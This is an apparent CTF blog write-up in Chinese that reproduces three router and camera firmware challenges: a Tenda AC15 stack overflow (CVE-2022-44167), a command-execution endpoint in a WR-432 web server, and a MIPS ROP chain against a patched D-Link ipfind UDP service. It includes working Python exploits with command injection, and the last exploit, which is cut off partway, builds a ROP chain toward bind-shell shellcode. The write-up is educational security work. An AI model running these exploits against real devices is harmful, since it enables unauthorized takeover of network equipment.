HWS 2021 冬令营选拔赛 | blingbling’s blog (blingblingxuanxuan.github.io)
RWCTF 5th Shellfind复现 - SecPulse.COM | 安全脉搏
RWCTF 5th ShellFind分析 - 先知社区 (aliyun.com)
这几题应该比较有概括性
HITCTF2023-router
要是复现过Tenda AC15的漏洞的话,打开httpd应该一眼能够认出来这个就是TendaAc15的固件
这里选择CVE-2022-44167,但是这个cve网上没找到公开的poc,但我们可以自己分析
可以知道这个漏洞是formSetPPTPServer函数中存在一个栈溢出漏洞,注意到
1 2
| if ( sscanf(v20, "%[^.].%[^.].%[^.].%s", v13, v14, v15, &v15[8]) != 4 || sscanf(v19, "%[^.].%[^.].%[^.].%s", &v9, &v10, &v11, v12) != 4 )
|
这段代码本意是将输入的点分十进制的 ip 地址按点分隔开将字符串写到栈上。
但也可以看到其并没有对长度进行检查,这显然是极其危险的
向上追溯可以看到
1 2
| v20 = (char *)sub_2B794(a1, "startIp", &unk_EFE14); v19 = (char *)sub_2B794(a1, "endIp", &unk_EFE14);
|
sub_2B794
函数大致是在参数a1中寻找字符串startIp
那么如何调用到这个函数呢,向上追溯,发现了这个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| sub_16EF4("SetPptpServerCfg", formSetPPTPServer);
sub_176B0(&unk_D8894, 0, 0, R7WebsSecurityHandler, 1); sub_176B0("/goform", 0, 0, websFormHandler, 0); sub_176B0("/cgi-bin", 0, 0, webs_Tenda_CGI_BIN_Handler, 0); sub_176B0(&unk_D8894, 0, 0, websDefaultHandler, 2); sub_41F18(); sub_176B0("/", 0, 0, sub_2E9D8, 0); return 0; } else { printf("%s %d: websOpenServer failed\n", "initWebs", 499); return -1; }
|
再往上追溯一两层就能知道这是cgi处理部分
也就是说访问这样的url/goform/SetPptpServerCfg?img/main.logo.png
就能触发函数了
调试时注意到,当 formSetPPTPServer 返回时,寄存器 r5 的值是指向 /goform/SetPptpServerCfg? img/main-logo.png
这一字符串的地址。我们可以在 url 后面接上其他内容。即这一字符串是我们可控 的。我们找到一条这样的gadget:
0x000cd1ac: mov r0, r5; add sp, sp, #0x8c pop {r4, r5, r6, r7, r8, sb, sl, fp, pc};
可以将 r5 寄存器的值赋给 r0, 并控制 system@plt . pc 寄存器使其跳转到 因此我们要做的事情就是:在 url 尾部插入我们要执行的命令,构造 startIp 以产生溢出,通过两次溢出 来写两个我们需要的地址。
最终exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| import requests from pwn import * from time import sleep
gadget_addr = 0x000cd1ac system_plt = 0x0000eb18 payload_v16 = b'a'*0x184 + b'b'*4 + b'c'*0x8c + b'd'*4*8 + b'\x18\xeb' payload_v17 = b'a'*0x17c + b'\xac\xd1\x0c' cmd = "mkdir /webroot;cat /root/flag>/webroot/favicon.ico".replace(" ", "${IFS}") paramdata = { "startIp": b'.'.join([payload_v16, payload_v17]), "endIp": b'1.1.1.1' } print(paramdata) host = "localhost" port = 80 path = f"/goform/SetPptpServerCfg?img/main-logo.png;{cmd}" url = f"http://{host}:{port}{path}" http_header = f"""POST {path} HTTP/1.1 \r HOST: {host}:{port}\r Pragma: no-cache\r Cache-Control: no-cache\r User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\r Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close\r \r """.encode() http_body = b"startIp=" + paramdata["startIp"] + b"&endIp=" + paramdata["endIp"] io = remote(host, port) io.send(http_header + http_body)
sleep(20) r = requests.get(f"http://{host}:{port}/favicon.ico") print(r.text)
|
插入的命令是mkdir${IFS}/webroot;cat${IFS}/root/flag>/webroot/favicon.ico
。这段命令向 /webroot/favicon.ico 中写入 flag ,之后访问 http://host:port/favicon.ico
就可以拿到 flag
HWS2021冬令营选拔赛-blinkblink
因为没有远程的环境,自己模拟好像有点问题,于是远程测试这部分直接cv大佬的
nc连上给的ip
浏览器打开
尝试登陆,查看网页文件源码
发现getinfo.js中有url,尝试访问
有返回值
该js中有144个url
那么接下来就是根据以上这些信息前往固件包中查找信息了
使用binwak对文件进行解包,找到了上面的两个文件
1 2 3 4 5
| find ./ -type f -name "login.asp" ./etc_ro/web/login.asp
find ./ -type f -name "getinfo.js" ./etc_ro/web/admin/js/getinfo.js
|
同时也能够找到版本信息
1
| WR-432-300M-28N-S-ZH,2.4.7
|
不过去官网看了一下,官网不提供过往版本的固件,要不然其实也可以通过下载相近版本固件进行比较
再进行字符串查找,就查找之前那些url
1 2 3 4 5
| grep -r "set_qos_cfg" 匹配到二进制文件 bin/goahead etc_ro/web/admin/js/getinfo.js: url: '/goform/set_qos_cfg', etc_ro/web/admin/js/getinfo.js: url: '/goform/set_qos_cfg', etc_ro/web/admin/js/getinfo.js: url: '/goform/set_qos_cfg',
|
找到了二进制文件goahead
之后直接浏览器搜索就能知道这是一个嵌入式web服务器
ida打开进行分析,搜索刚刚的字符串
找到如下引用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| int __fastcall sub_453E58(int a1) { int String; int Object; int v4; int v5; int v6; int v7; int v9; int v10; int v11; char v12[400]; int Var; int v14; char *v15;
v15 = "get_remotemanage_info"; Var = websGetVar(a1, &off_46B66C, ""); v14 = websGetVar(a1, "IP", ""); v10 = websGetVar(a1, "Up_Speed", ""); v11 = websGetVar(a1, "Dl_Speed", ""); bl_print(3, "CGI_json.c", "set_qos_cfg", 2391); Object = cJSON_CreateObject(); String = cJSON_CreateString("setqos"); cJSON_AddItemToObject(Object, "type", String); v4 = cJSON_CreateString(Var); cJSON_AddItemToObject(Object, 4634220, v4); v5 = cJSON_CreateString(v14); cJSON_AddItemToObject(Object, "IP", v5); v6 = cJSON_CreateString(v10); cJSON_AddItemToObject(Object, "Up_Speed", v6); v7 = cJSON_CreateString(v11); cJSON_AddItemToObject(Object, "Dl_Speed", v7); v9 = cJSON_PrintUnformatted(Object); bl_print(3, "CGI_json.c", "set_qos_cfg", 2400); bs_SetQosInfo(v9, v12); websResponse(a1, 200, v12, 0); free(v9); return cJSON_Delete(Object); }
|
再然后继续向上找引用,会找到一个定义大多数方法的函数
然后发现这里的方法引用比之前观察到的更多
找到一个看起来就有古怪的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| websFormDefine("set_cmd", sub_44D41C);
int __fastcall sub_44D41C(int a1) { int Var; int String; int Object; int v5; int v6; char v8[8200];
Var = websGetVar(a1, "cmd", ""); bl_print(3, "CGI_json.c", "set_cmd", 3968); Object = cJSON_CreateObject(); String = cJSON_CreateString("setcmd"); cJSON_AddItemToObject(Object, "type", String); v5 = cJSON_CreateString(Var); cJSON_AddItemToObject(Object, "cmd", v5); v6 = cJSON_PrintUnformatted(Object); memset(v8, 0, 8196); bs_SetCmd(v6, v8); bl_print(3, "CGI_json.c", "set_cmd", 3976); websResponse(a1, 200, v8, 0); free(v6); return cJSON_Delete(Object); }
|
看到这个函数bs_SetCmd(v6, v8);
找到其被定义在libshare-0.0.26.so
1 2 3
| grep -r "bs_SetCmd" 匹配到二进制文件 bin/goahead 匹配到二进制文件 lib/libshare-0.0.26.so
|
看其定义
1 2 3 4 5 6 7 8 9 10
| ..... } v11 = cJSON_GetObjectItem(v4, "cmd"); if ( v11 ) { memset(v21, 0, sizeof(v21)); strcpy(v21, *(_DWORD *)(v11 + 16)); sprintf(v23, &off_4F2CC, v21); v14 = popen(v23, "r"); ....
|
发现其会直接获取cmd的键并直接执行,尝试访问
RWCTF5th-shellfind
拿到手的是一个常见的bin固件包,相比于常规pwn题单一的二进制而言,我们首先要做的是寻找漏洞文件
这里有三种情况
- 这个固件存在0day漏洞,但一般不会这么干.0.
- 固件存在已公布的cve
- 出题人自己修改导致漏洞
这题应该是第三种情况,然后漏洞也搜索了一下,找到了一个CVE-2019-17146但在这个固件包中是已经修复的了
最新的固件下载链接:https://www.dlinktw.com.tw/techsupport/ProductInfo.aspx?m=DCS-960L
下载之后直接diff比较一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| diff -r shellfind/ offcial/ diff: shellfind/etc/hosts: 没有那个文件或目录 diff: offcial/etc/hosts: 没有那个文件或目录 diff: shellfind/etc/passwd: 没有那个文件或目录 diff: offcial/etc/passwd: 没有那个文件或目录 diff: shellfind/etc/ppp: 没有那个文件或目录 diff: offcial/etc/ppp: 没有那个文件或目录 diff: shellfind/etc/resolv.conf: 没有那个文件或目录 diff: offcial/etc/resolv.conf: 没有那个文件或目录 diff: shellfind/etc/simplecfg: 没有那个文件或目录 diff: offcial/etc/simplecfg: 没有那个文件或目录 diff: shellfind/etc/stunnel/stunnel.conf: 没有那个文件或目录 diff: offcial/etc/stunnel/stunnel.conf: 没有那个文件或目录 diff: shellfind/etc/stunnel/stunnel-smtps.conf: 没有那个文件或目录 diff: offcial/etc/stunnel/stunnel-smtps.conf: 没有那个文件或目录 diff: shellfind/etc/stunnel/stunnel-smtps-test.conf: 没有那个文件或目录 diff: offcial/etc/stunnel/stunnel-smtps-test.conf: 没有那个文件或目录 diff: shellfind/etc/TZ: 没有那个文件或目录 diff: offcial/etc/TZ: 没有那个文件或目录 diff: shellfind/etc/Wireless/RTL8192CD.dat: 没有那个文件或目录 diff: offcial/etc/Wireless/RTL8192CD.dat: 没有那个文件或目录 diff: shellfind/tmp: 没有那个文件或目录 diff: offcial/tmp: 没有那个文件或目录 二进制文件 shellfind/usr/sbin/ipfind 和 offcial/usr/sbin/ipfind 不同 diff: shellfind/web/cgi-bin/cgi/admin/ptcmd.cgi: 没有那个文件或目录 diff: offcial/web/cgi-bin/cgi/admin/ptcmd.cgi: 没有那个文件或目录 diff: shellfind/web/cgi-bin/cgi/admin/ptctl.cgi: 没有那个文件或目录 diff: offcial/web/cgi-bin/cgi/admin/ptctl.cgi: 没有那个文件或目录
|
可以看到出题人应该是修改了ipfind二进制文件
然后bindiff分析一下,发现
点进去看看,果然被出题人打过patch
不过光看此处并不能看出什么东西来,深入分析一下二进制文件ipfind
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148
| int __cdecl main(int argc, const char **argv, const char **envp) { int result; bool v4; fd_set *v5; int v6; int v7; int v8; int v9; int v10; int v11; struct sockaddr v12; char v13[32]; fd_set v14; _DWORD v15[512]; char v16; unsigned int v17; char *v18; socklen_t *addr_len; char *v20; void *v21; void *v22; void *v23;
v9 = 1; v10 = 1; v11 = 0; if ( argc >= 2 ) { ifname = (int)argv[1]; v4 = sub_401120() < 0; result = 0; if ( !v4 ) { sub_401240(); server_sockfd = socket(2, 1, 17); if ( server_sockfd == -1 ) { sub_4013D0("Can't get server socket\n"); return -1; } else { v12.sa_family = 2; memset(&v12.sa_data[2], 0, 12); *(_WORD *)v12.sa_data = -2816; strncpy(v13, (const char *)ifname, 0x10u); if ( setsockopt(server_sockfd, 0xFFFF, 25, v13, 0x20u) >= 0 ) { if ( setsockopt(server_sockfd, 0xFFFF, 32, &v9, 4u) >= 0 ) { if ( setsockopt(server_sockfd, 0xFFFF, 4, &v10, 4u) >= 0 ) { if ( bind(server_sockfd, &v12, 0x10u) >= 0 ) { sub_4013D0("IPFind start(%s)...\n", (const char *)ifname); v18 = (char *)v15; v21 = (char *)&v15[4] + 1; addr_len = (socklen_t *)&v11; v20 = "FIVI"; v22 = &v16; v23 = &unk_402E90; while ( 1 ) { v5 = &v14; if ( dword_413168 ) break; do { v5->__fds_bits[0] = 0; v5 = (fd_set *)((char *)v5 + 4); } while ( v5 != (fd_set *)v15 ); v6 = server_sockfd; v14.__fds_bits[(unsigned int)server_sockfd >> 5] |= 1 << server_sockfd; if ( select(v6 + 1, &v14, 0, 0, 0) >= 0 ) { if ( ((v14.__fds_bits[(unsigned int)server_sockfd >> 5] >> server_sockfd) & 1) != 0 ) { v11 = 16; memset(v15, 0, sizeof(v15)); recvfrom(server_sockfd, v15, 0x800u, 0, (struct sockaddr *)&client_addr, addr_len); v15[1] = (v15[1] << 24) | HIBYTE(v15[1]) | ((v15[1] & 0xFF0000u) >> 8) | ((v15[1] & 0xFF00) << 8); v7 = (unsigned __int16)((_byteswap_ushort(*(unsigned __int16 *)((char *)&v15[2] + 1)) << 8) | ((unsigned int)(BYTE2(v15[2]) | (BYTE1(v15[2]) << 8)) >> 8)); *(_WORD *)((char *)&v15[2] + 1) = v7; *(_WORD *)((char *)&v15[2] + 3) = (_byteswap_ushort(*(unsigned __int16 *)((char *)&v15[2] + 3)) << 8) | ((unsigned int)(HIBYTE(v15[3]) | (LOBYTE(v15[2]) << 8)) >> 8); v8 = (unsigned __int16)((_byteswap_ushort(*(unsigned __int16 *)((char *)&v15[5] + 3)) << 8) | ((unsigned int)(HIBYTE(v15[6]) | (LOBYTE(v15[5]) << 8)) >> 8)); *(_WORD *)((char *)&v15[5] + 3) = v8; v17 = (*(_DWORD *)((char *)&v15[6] + 1) << 24) | HIBYTE(*(_DWORD *)((char *)&v15[6] + 1)) | ((*(_DWORD *)((char *)&v15[6] + 1) & 0xFF0000u) >> 8) | ((*(_DWORD *)((char *)&v15[6] + 1) & 0xFF00) << 8); *(_DWORD *)((char *)&v15[6] + 1) = v17; if ( !strncmp(v18, v20, 4u) && HIBYTE(v15[2]) == 10 ) { if ( v7 == 1 ) { if ( !v8 && !memcmp(v21, v23, 6u) && !v17 ) sub_40172C(v15); } else if ( v7 == 2 && net_get_hwaddr(ifname, v22) >= 0 && !memcmp(v21, v22, 6u) && *(_DWORD *)((char *)&v15[6] + 1) == 142 ) { sub_4013F4(v15, 142); } } } } else if ( *_errno_location() != 4 ) { break; } } sub_402198(ifname); return 0; } else { sub_4013D0("bind port(%d) error\n", 62720); return -1; } } else { sub_4013D0("setsockopt SO_REUSEADDR failed\n"); return -1; } } else { sub_4013D0("setsockopt SO_BROADCAST failed\n"); return -1; } } else { sub_4013D0("setsockopt SO_BINDTODEVICE failed\n"); return -1; } } } } else { sub_4013D0("Invaild ifname\n", argv, envp); return -1; } return result; }
|
main函数的报错信息可以帮助我们很好的理解这个程序在做什么
首先是根据网络接口名称打开一个/var/run/
目录下的文件,要求能够正确打开文件
然后注册信号处理函数并创建创建一个udp的socket
1 2 3 4 5 6 7 8 9 10 11 12
| v12.sa_family = 2; memset(&v12.sa_data[2], 0, 12); *v12.sa_data = 62720; strncpy(v13, ifname, 0x10u); if ( setsockopt(server_sockfd, 0xFFFF, 25, v13, 0x20u) >= 0 ) { if ( setsockopt(server_sockfd, 0xFFFF, 32, &v9, 4u) >= 0 ) { if ( setsockopt(server_sockfd, 0xFFFF, 4, &v10, 4u) >= 0 ) { if ( bind(server_sockfd, &v12, 0x10u) >= 0 ) {
|
sa_family为2代表是udp,sa_data=62720则代表要绑定到62720端口上
如果绑定成功就到了最核心的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| sub_4013D0("IPFind start(%s)...\n", ifname); v18 = user_data; v21 = &user_data[17]; addr_len = &v11; v20 = "FIVI"; v22 = &v16; v23 = &unk_402E90; while ( 1 ) { v5 = &v14; if ( dword_413168 ) break; do { *v5 = 0; v5 += 4; } while ( v5 != user_data ); v6 = server_sockfd; v14.__fds_bits[server_sockfd >> 5] |= 1 << server_sockfd; if ( select(v6 + 1, &v14, 0, 0, 0) >= 0 ) { if ( ((v14.__fds_bits[server_sockfd >> 5] >> server_sockfd) & 1) != 0 ) { v11 = 16; memset(user_data, 0, 0x800u); recvfrom(server_sockfd, user_data, 0x800u, 0, &client_addr, addr_len); *&user_data[4] = (*&user_data[4] << 24) | user_data[4] | ((*&user_data[4] & 0xFF0000u) >> 8) | ((*&user_data[4] & 0xFF00) << 8); v7 = ((_byteswap_ushort(*&user_data[9]) << 8) | ((user_data[10] | (user_data[9] << 8)) >> 8)); *&user_data[9] = v7; *&user_data[11] = (_byteswap_ushort(*&user_data[11]) << 8) | ((user_data[12] | (user_data[11] << 8)) >> 8); v8 = ((_byteswap_ushort(*&user_data[23]) << 8) | ((user_data[24] | (user_data[23] << 8)) >> 8)); *&user_data[23] = v8; v17 = (*&user_data[25] << 24) | user_data[25] | ((*&user_data[25] & 0xFF0000u) >> 8) | ((*&user_data[25] & 0xFF00) << 8); *&user_data[25] = v17; if ( !strncmp(v18, v20, 4u) && user_data[8] == 10 ) { if ( v7 == 1 ) { if ( !v8 && !memcmp(v21, v23, 6u) && !v17 ) sub_40172C(user_data); } else if ( v7 == 2 && net_get_hwaddr(ifname, v22) >= 0 && !memcmp(v21, v22, 6u) && *&user_data[25] == 142 ) { sub_4013F4(user_data, 142); } } } }
|
我们的目标显然要是进入sub_40172c
函数,分析一下流程
其首先会接受最大0x800长度的数据,那么需要满足的条件就是
!strncmp(v18, v20, 4u)
v18和v20要相等,v20是FIVI
,v18是user_data
起始的数据,所以第一步user_data = 'FIVI'
user_data[8] == 10
,第9个数要为'\n'
,所以user_data = 'FIVI' + '\x00\x00\x00\x00' + '\n'
v7 == 1
需要满足下式为1
v7 = (unsigned __int16)((_byteswap_ushort(*(unsigned __int16 *)((char *)&v15[2] + 1)) << 8) | ((unsigned int)(BYTE2(v15[2]) | (BYTE1(v15[2]) << 8)) >> 8));
当user_data[9] = 0x1,user_data[10] = 0的时候满足这个条件
!memcmp(v21, v23, 6u)
,v21和v23要相等,v23是0xff * 6
,这里其实就是mac_addr
!v8
,v8要为0
即下式为0v8 = (unsigned __int16)((_byteswap_ushort(*(unsigned __int16 *)((char *)&v15[5] + 3)) << 8) | ((unsigned int)(HIBYTE(v15[6]) | (LOBYTE(v15[5]) << 8)) >> 8));
!v17
,v17要为0,即v17 = (*(_DWORD *)((char *)&v15[6] + 1) << 24) | HIBYTE(*(_DWORD *)((char *)&v15[6] + 1)) | ((*(_DWORD *)((char *)&v15[6] + 1) & 0xFF0000u) >> 8) | ((*(_DWORD *)((char *)&v15[6] + 1) & 0xFF00) << 8);
要为0
综上,进入sub_40172c
的报头是
1 2 3 4 5 6 7 8
| p1 = b'FIVI' p1 += b'\x00\x00\x00\x00' p1 += b'\n' p1 += b'\x01\x00' p1 += b'\x00\x00\x00\x00\x00\x00' p1 += b'\xff' * 6 p1 += b'\x00\x00' p1 += b'\x00'
|
继续分析40172c函数,这个函数会获取设备的基本信息,其中便包括mac地址
对比patch前后,差别在于原版本中有这么一句
1 2
| v3 = inet_ntoa((struct in_addr)dword_413174); dword_413174 = inet_addr("255.255.255.255");
|
使得dword_413174
被赋值了,但在之前的主函数我们看到,这个全局变量如果不为0,皆会直接退出
也就是使得这个函数不可被执行第二次,而现在其被patch了,那么也就是说main函数可以被访问多次
根据这一点我们可以猜想出题人应该是希望再一次执行main函数进入另一个分支的,也就是sub_4013F4
重复之前的分析流程,可以知道进入这个分支的条件是,mac就来自于之前接收到的mac地址
1 2 3 4 5 6 7 8
| p2 = b'FIVI' p2 += b'\x00\x00\x00\x00' p2 += b'\n' p2 += b'\x02\x00' p2 += b'\x00\x00\x00\x00\x00\x00' p2 += mac p2 += b'\x00\x00' p2 += b'\x8E'
|
漏洞点发生在400f50
这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| int __fastcall sub_400F50(int a1, int a2) { int Group; int Pass; char v6[256]; char v7[256]; char v8[256]; char v9[68];
memset(v9, 0, 64); Base64decs(a1, v6); Base64decs(a2, v7); cfgRead("USER_ADMIN", "Username1", v9); usrInit(0); Group = usrGetGroup(v6); Pass = usrGetPass(v6, v8, 256); if ( Pass == 1 ) { if ( !Group && !strcmp(v9, v6) ) Pass = strcmp(v7, v8) != 0; } else { Pass = -1; } usrFree(); return Pass; }
|
在第二个Base64decs(a2, v7);
中,会对a2进行base64解码,然后将解码之后的数据存到v7中,a2 = p2 + 0x5d,也就是0x5d后面的数据会进行base64decode到v7中,p2可控,这就造成了栈溢出漏洞
那么就可以开始利用了,选择ret2shellcode,程序虽然没有任何保护机制,aslr应该也是关闭的,不过就算不变我们也没办法获得,所以需要想办法在ipfind中寻找gadget
在跳转之前需要注意一个gp寄存器,gp寄存器它的值被用来定位静态数据区域,所以要保证gp寄存器不会出错
以strcmp函数为例,在ida中按住alt+G
切换到gp,就能看到
.text:00401040 8F 99 80 64 lw $t9, (strcmp_ptr - 0x41B030)($gp)
结合
.got:00413094 00 41 31 CC strcmp_ptr:.word strcmp
得到gp应该为7f9c+413094=41b030
,这个是固定的
下面这个gadgets执行完毕之后会调用close清空a0, a1, a2,为得是不影响后一个gadgets的使用,并且可以控制gp和ra
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| .text:004020A4 8F BC 00 18 lw $gp, 0x7C+var_64($sp) .text:004020A8 8F 99 80 38 la $t9, close .text:004020AC 03 20 F8 09 jalr $t9 ; close .text:004020B0 02 00 20 21 move $a0, $s0 # fd .text:004020B0 .text:004020B4 .text:004020B4 loc_4020B4: # CODE XREF: sub_401DF4+1AC↑j .text:004020B4 # sub_401DF4+238↑j .text:004020B4 # sub_401DF4+284↑j .text:004020B4 8F BF 00 84 lw $ra, 0x7C+var_s8($sp) .text:004020B8 8F B1 00 80 lw $s1, 0x7C+var_s4($sp) .text:004020BC 8F B0 00 7C lw $s0, 0x7C+var_s0($sp) .text:004020C0 03 E0 00 08 jr $ra .text:004020C4 27 BD 00 88 addiu $sp, 0x88
|
接着控制ra为下一个gadgets的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| .text:00401F98 0C 10 04 F4 jal my_puts .text:00401F9C 24 84 2C F8 li $a0, aCanTGetHelloSo # "Can't get hello socket\n" .text:00401F9C .text:00401FA0 10 00 00 44 b loc_4020B4 .text:00401FA4 00 00 00 00 nop
my_puts .text:004013D0 addiu $sp, -0x10 .text:004013D4 sw $a1, 0x10+arg_4($sp) .text:004013D8 sw $a2, 0x10+arg_8($sp) .text:004013DC sw $a3, 0x10+arg_C($sp) .text:004013E0 addiu $v0, $sp, 0x10+arg_4 .text:004013E4 sw $v0, 0x10+var_8($sp) .text:004013E8 addiu $sp, 0x10 .text:004013EC jr $ra .text:004013F0 nop
loc_4020B4 .text:004020B4 8F BF 00 84 lw $ra, 0x7C+var_s8($sp) .text:004020B8 8F B1 00 80 lw $s1, 0x7C+var_s4($sp) .text:004020BC 8F B0 00 7C lw $s0, 0x7C+var_s0($sp) .text:004020C0 03 E0 00 08 jr $ra .text:004020C4 27 BD 00 88 addiu $sp, 0x88
|
上面这个gadgets详细说一下,首先是进入my_puts这里
这里addiu $v0, $sp, 0x10+arg_4
把栈上的地址给存到了v0中,然后又把v0的值放到了sp + 0x8这里
在4020b4中可以控制s0,这里把s0控制成0x00413200 - 0xd
,这是因为下面的gadgets需要用到
然后又到了loc_4020B4
这里,这里可以控制$ra,那么就可以继续ROP下去,接着到0x00400C9C
这里的gadgets
1
| 0x00400c9c : lw $gp, 0x10($sp) ; lw $ra, 0x1c($sp) ; jr $ra ; addiu $sp, $sp, 0x20
|
恢复GP,然后控制ra到0x00400F28
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| .text:00400F28 AE 02 00 0D sw $v0, 0xD($s0) .text:00400F28 .text:00400F2C .text:00400F2C loc_400F2C: # CODE XREF: sub_400E50+CC↑j .text:00400F2C 8F 82 80 68 la $v0, ifname .text:00400F30 8C 44 00 00 lw $a0, (ifname - 0x413138)($v0) .text:00400F34 8F 99 80 8C la $t9, net_get_hwaddr .text:00400F38 03 20 F8 09 jalr $t9 ; net_get_hwaddr .text:00400F3C 26 05 00 11 addiu $a1, $s0, 0x11 .text:00400F3C .text:00400F40 8F BF 00 24 lw $ra, 0x20+var_s4($sp) .text:00400F44 8F B0 00 20 lw $s0, 0x20+var_s0($sp) .text:00400F48 03 E0 00 08 jr $ra .text:00400F4C 27 BD 00 28 addiu $sp, 0x28
|
然后这里就需要用到上面的把s0控制成0x00413200 - 0xd
,在sw $v0, 0xD($s0)
这里是把v0的值放到s0 + 0xd这个位置,这个位置是0x413200
是net_get_dns,这样的话net_get_dns这里就是v0,就是栈上的地址了,如果调用net_get_dns的时候就会调用栈上的地址
在gadgets的最后可以控制s0和ra,控制s0为net_get_dns的值也就是栈上的地址,控制ra为0x004027C8
1 2 3 4 5 6 7 8 9
| .text:004027C8 lw $t9, 0($s0) .text:004027CC bne $t9, $s1, loc_4027C0 .text:004027D0 addiu $s0, -4 .text:004027D0 .text:004027D4 lw $ra, 0x1C+var_s8($sp) .text:004027D8 lw $s1, 0x1C+var_s4($sp) .text:004027DC lw $s0, 0x1C+var_s0($sp) .text:004027E0 jr $ra .text:004027E4 addiu $sp, 0x28
|
把栈上的地址放到t9中,会跳到loc_4027C0中执行jalr $t9
,执行栈地址上的东西
shellcode可以采用udp_bind_shell
但是在调试的时候会发现跳不到shellcode上,所以在上面的一个地方加上一个跳转指令
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212
| import socket from pwn import * import binascii import base64
context(os='linux', arch='mips', endian='big', log_level='debug')
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m') lg = lambda x : print('\033[32m' + str(x) + '\033[0m')
ip = '192.168.10.108' port = 62720
r = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) lg('[+] open connection')
p1 = b'FIVI' p1 += b'\x00\x00\x00\x00' p1 += b'\n' p1 += b'\x01\x00' p1 += b'\x00\x00\x00\x00\x00\x00' p1 += b'\xff' * 6 p1 += b'\x00\x00' p1 += b'\x00'
r.sendto(p1, (ip, port))
recv_data, recv_addr = r.recvfrom(1024)
def getmac(mac_addr): hex_str = binascii.hexlify(mac_addr).decode() mac_addr = ':'.join([hex_str[i:i+2] for i in range(0, len(hex_str), 2)]) li('[+] mac = ' + str(mac_addr))
if(len(recv_data) == 0x21d): mac_addr = recv_data[0x11:0x17] getmac(mac_addr) else: ll("[-] recv error")
p2 = b'FIVI' p2 += b'\x00\x00\x00\x00' p2 += b'\n' p2 += b'\x02\x00' p2 += b'\x00\x00\x00\x00\x00\x00' p2 += mac_addr p2 += b'\x00\x00' p2 += b'\x8E' p2 = p2.ljust(0x5d, b'\x00')
p3 = b'\x00' * 588 p3 += p32(0x004020A4) ''' .text:004020A4 8F BC 00 18 lw $gp, 0x7C+var_64($sp) .text:004020A8 8F 99 80 38 la $t9, close .text:004020AC 03 20 F8 09 jalr $t9 ; close .text:004020B0 02 00 20 21 move $a0, $s0 # fd .text:004020B0 .text:004020B4 .text:004020B4 loc_4020B4: # CODE XREF: sub_401DF4+1AC↑j .text:004020B4 # sub_401DF4+238↑j .text:004020B4 # sub_401DF4+284↑j .text:004020B4 8F BF 00 84 lw $ra, 0x7C+var_s8($sp) .text:004020B8 8F B1 00 80 lw $s1, 0x7C+var_s4($sp) .text:004020BC 8F B0 00 7C lw $s0, 0x7C+var_s0($sp) .text:004020C0 03 E0 00 08 jr $ra .text:004020C4 27 BD 00 88 addiu $sp, 0x88 '''
p3 += b'\x00' * 0x18 p3 += p32(0x41B030) p3 += b'\x00' * 0x68 p3 += p32(0x00401F98) ''' .text:00401F98 0C 10 04 F4 jal my_puts .text:00401F9C 24 84 2C F8 li $a0, aCanTGetHelloSo # "Can't get hello socket\n" .text:00401F9C .text:00401FA0 10 00 00 44 b loc_4020B4 .text:00401FA4 00 00 00 00 nop
my_puts .text:004013D0 addiu $sp, -0x10 .text:004013D4 sw $a1, 0x10+arg_4($sp) .text:004013D8 sw $a2, 0x10+arg_8($sp) .text:004013DC sw $a3, 0x10+arg_C($sp) .text:004013E0 addiu $v0, $sp, 0x10+arg_4 .text:004013E4 sw $v0, 0x10+var_8($sp) .text:004013E8 addiu $sp, 0x10 .text:004013EC jr $ra .text:004013F0 nop
loc_4020B4 .text:004020B4 8F BF 00 84 lw $ra, 0x7C+var_s8($sp) .text:004020B8 8F B1 00 80 lw $s1, 0x7C+var_s4($sp) .text:004020BC 8F B0 00 7C lw $s0, 0x7C+var_s0($sp) .text:004020C0 03 E0 00 08 jr $ra .text:004020C4 27 BD 00 88 addiu $sp, 0x88 '''
